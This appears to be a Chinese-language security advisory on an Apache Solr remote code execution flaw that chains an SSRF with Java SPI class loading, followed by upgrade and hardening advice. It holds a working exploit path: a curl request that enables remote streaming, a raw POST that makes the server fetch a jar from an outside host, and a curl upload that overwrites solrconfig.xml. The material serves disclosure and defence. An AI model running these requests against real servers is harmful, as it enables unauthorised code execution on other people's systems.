一、背景
Apache Solr 是一款开源的搜索引擎。
在Apache Solr 受影响版本中,由于Solr默认配置下存在服务端请求伪造漏洞,且SolrResourceLoader中实现了java SPI机制。当Solr以SolrCloud模式启动时,攻击者可以通过构造恶意的solrconfig.xml文件,组合利用从而执行任意java代码。
二、影响版本
org.apache.solr:solr-core@[8.10.0, 9.2.0)
三、漏洞分析
3.1SSRF问题:SSRF Jar协议 注入临时文件
Solr拥有出网条件下,有一个官方提供的一个正常功能接口,当requestDispatcher.requestParsers.enableRemoteStreaming参数远程设置为true后,可实现http协议ssrf,netdoc协议目录遍历,file协议读取任意文件,jar协议注入tmp文件。
首先,获取solr index名字:
http://xxx.xx.xx.xx.x:8983/solr/admin/cores?indexInfo=false&wt=json
第二步,设置远程参数为true:
curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.x.x:8983/solr/上一步获取的doc名字/config -H 'Content-type:application/json'
第三步,jar协议 注入tmp
POST /solr/doc名字/debug/dump?param=ContentStreams HTTP/1.1
Host: xxx.xx.x.x:8983
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 196
Content-Type: multipart/form-data; boundary=------------------------5897997e44b07bf9
Connection: close
--------------------------5897997e44b07bf9
Content-Disposition: form-data; name="stream.url"
jar:http://xxxx:8001/calc.jar?!/Calc.class
--------------------------5897997e44b07bf9--
此时可以看到SSRF漏洞已经成功执行。
3.2如何执行RCE?
SolrResourceLoader加载Evil Jar包执行static 代码块中恶意代码。
SPI 原理
SPI 服务的加载可以分为两部分:
- 类全称限定名的获取,即知道哪些类是服务提供者。
- 类加载,把获取到的类加载到内存中,涉及上下文类加载器。
SPI机制在指定配置的情况下,ServiceLoader.load 根据传入的接口类,遍历 META-INF/services 目录下的以该类命名的文件中的所有类,然再用类加载器加载这些服务。 - 获取到 SPI 服务实现类的文件之后,就可以使用类加载器将对应的类加载到内存中,也就会触发恶意类中的static代码块。
3.3上传覆盖恶意solrconfig.xml
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset/solrconfig.xml "http://xxx.xx.x.x:8983/solr/admin/configs?action=UPLOAD&name=lib&filePath=solrconfig.xml&overwrite=true"
四、修复方案
升级org.apache.solr:solr-core到 9.2.0 或更高版本
以 solrcloud 方式部署的机器不出网或添加Solr身份校验。